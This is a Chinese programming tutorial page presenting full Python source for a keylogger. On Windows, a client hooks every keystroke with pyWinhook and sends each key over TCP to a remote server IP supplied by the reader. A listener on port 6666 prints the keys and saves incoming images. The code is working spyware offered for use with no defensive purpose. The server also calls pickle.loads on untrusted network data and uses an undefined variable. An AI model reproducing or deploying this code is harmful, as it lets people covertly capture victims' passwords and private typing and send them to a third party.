最新下载
热门教程
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
python如何实现监听键盘 python实现监听键盘代码示例
时间:2022-06-25 02:04:25 编辑:袖梨 来源:一聚教程网
python如何实现监听键盘?本篇文章小编给大家分享一下python实现监听键盘代码示例,文章代码介绍的很详细,小编觉得挺不错的,现在分享给大家供大家参考,有需要的小伙伴们可以来看看。
import pickle from io import BytesIO import socket #接收数据 def Server_Recive(ip,port): socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket_obj.bind((ip,port)) socket_obj.listen(5) file = 1 while True: connection,address = socket_obj.accept() #接受的数据 recieved_message = b'' recieved_message_fragment = connection.recv(1024) while recieved_message_fragment: recieved_message += recieved_message_fragment recieved_message_fragment = connection.recv(1024) try: obj = pickle.loads(recieved_message) print(obj['Key'],end=' ') except EOFError: file_name = 'recv_image_' + str(file_on) + '.bmp' recv_image = open(file_name,'wb') recv_image.write(recieved_message) file_on += 1 connection.close() if __name__ == '__main__': Server_IP = '0.0.0.0' Server_Port = 6666 Server_Recive(Server_IP,Server_Port)
键盘监听程序
#键盘监听 import pythoncom,pyWinhook,pickle,socket from io import BytesIO def Client_PIC(ip,port,obj): try: msg = pickle.dumps(obj) send_message = BytesIO(msg) send_message_fragment = send_message.read(1024) except: send_message = obj send_message_fragment = send_message.read(1024) socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket_obj.connect((ip,port)) while send_message_fragment: socket_obj.send(send_message_fragment) send_message_fragment = send_message.read(1024) socket_obj.close() def OnkeyBoardEvent(event): dict_key = {} dict_key['MessageName'] = event.MessageName dict_key['Key'] = event.Key Client_PIC('你自己的ip地址',6666,dict_key) return True def Keylogger(): hm = pyWinhook.HookManager() hm.KeyDown = OnkeyBoardEvent hm.HookKeyboard() pythoncom.PumpMessages() if __name__ == '__main__': Keylogger()
其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述
运行(先运行服务端,而后运行监听程序)
相关文章
- “十月朝,糍粑碌碌烧”说的是小雪时节的哪一项习俗 蚂蚁庄园11月22日答案早知道 11-25
- 以闪亮之名宠物礼包怎么样 11-25
- 崩坏星穹铁道星期日用什么光锥 11-25
- 崩坏星穹铁道星期日用什么光锥 崩铁星期日光锥推荐搭配介绍 11-25
- 崩坏星穹铁道星期日技能机制怎么样 崩铁星期日技能机制介绍 11-25
- 崩坏星穹铁道星期日遗器怎么选择 崩铁星期日遗器推荐搭配介绍 11-25